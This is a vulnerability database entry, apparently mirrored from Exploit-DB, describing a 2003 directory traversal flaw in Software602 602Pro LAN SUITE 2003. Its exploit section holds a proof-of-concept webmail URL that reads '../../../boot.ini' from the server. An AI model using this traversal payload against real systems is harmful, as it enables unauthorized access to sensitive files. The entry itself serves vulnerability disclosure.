software602 602pro lan suite 2003 – Directory Traversal

漏洞ID	1054190	漏洞类型
发布时间	2003-09-25	更新时间	2003-09-25
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	Windows	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/23185

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/8701/info

A problem with the handling of directory traversal requests has been identified in Software602 602Pro LAN SUITE 2003. Because of this, an attacker may be able to gain access to potentially sensitive information. 

http://www.example.com/mail/m602cl3w.exe?A=GetFile&USER=7921604D7A587937986E24242C0588&DL=0&FN=../../../boot.ini

where USER signifies the current webmail user's username.

相关推荐: BEA Systems WebLogic CredentialMapper Plaintext Password Vulnerability

BEA Systems WebLogic CredentialMapper Plaintext Password Vulnerability 漏洞ID 1100270 漏洞类型 Design Error 发布时间 2003-05-13 更新时间 2003-05…